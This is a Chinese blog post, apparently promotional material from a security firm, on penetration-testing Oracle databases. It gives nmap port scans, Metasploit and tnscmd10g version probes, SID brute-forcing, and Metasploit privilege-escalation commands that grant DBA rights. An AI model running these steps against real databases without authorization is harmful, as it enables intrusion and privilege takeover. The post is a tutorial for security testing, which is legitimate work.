oracle数据库的安全渗透与测试



       Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管

理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle
数据库系统是目前世界上流行

的关系数据库管理系统,系统可移植性好、使用方便
、功能强,适用于各类大、中、小、服务器环

境。它是一种高效率、可靠性高,并
发吞吐量的数据库解决方案,针对Oracle数据库该如何去安全

测试呢?
 
一、数据库端口的安全扫描
 
首先检测数据库端口的的开放使用namp命令来对目标数据库IP进行端口扫描,命令
 
如下:nmap -Pn -n -T4 --open -p1521
 
 
二、数据库的版本相关信息
 
再来检查下数据库的版本信息,得到一个存活的oracle数据库服务端口,了解数据库的版本信息非

常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞,
需要不同的poc来对其进行

测试,所以在测试之前首先要了解数据库的版本,下
面说几个方法。Sine安全公司是一家专注于:

服务器安全、
网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务

提供商。
 
利用msf工具进行判断,使用如下模块来对数据库进行版本探测:
 
msf > use auxiliary/scanner/oracle/tnslsnr_version
 
使用tnscmd10g工具,命令如下:
 
tnscmd10g version -h <target IP>
 
tnscmd10g status -h <target IP>
 
通过以上两种方法,以及命令可以得到版本信息、日志文件、跟踪信息以及端口相关的安全渗透信息。
 
 
三、获取数据库的SID安全值
 
再来获取数据库的SID值,连接oracle数据库不仅仅需要账号密码,而且还需要SID(SID是一个数

据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始
ID),所以如何获取SID是非常

关键的,可以使用以下方法获取:
 
使用sidguess,sidguess是kali下的一款爆破Oracle SID的工具,命令如下:
 
sidguess -i <target IP> -d /home/myh0st/pass.txt
 
msf下有两个模块可以完成这个操作,命令如下:
 
msf > use auxiliary/scanner/oracle/sid_enum
 
msf > use auxiliary/admin/oracle/sid_brute
 
如果oracle的版本为10g,默认通过8080端口,远程管理的可以访问以下路径:
 
http://127.0.0.1:8080/oradb/PUBLIC/GLOBAL_NAME
 
、数据库提权
 
使用sql命令提权,在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两

个模块,命令如下:Sine安全公司是一家专注于:服务器安全、
网站安全、网站安全检测、网站漏

洞修复,渗透测试,安全服务于一体的网络安全服
务提供商。
 
msf > use auxiliary/admin/oracle/sql
   set DBUSER <user>
   set DBPASS <password>
   set SID <sid>
   set SQL select * from user_role_privs
 
msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor
   set DBUSER <user>
   set DBPASS <password>
   set SID <sid>
   set SQL GRANT DBA TO <user>
   set SQL GRANT JAVASYSPRIV TO <user>
 
查询数据库版本:
 
select * from v$version;       
 
数据库打补丁情况:
 
select * from dba_registry_history;
 
查看所有用户:
 
select * from all_users;
 
查询数据库中的所有表:
 
select owner,table_name from all_tables;
 
分享: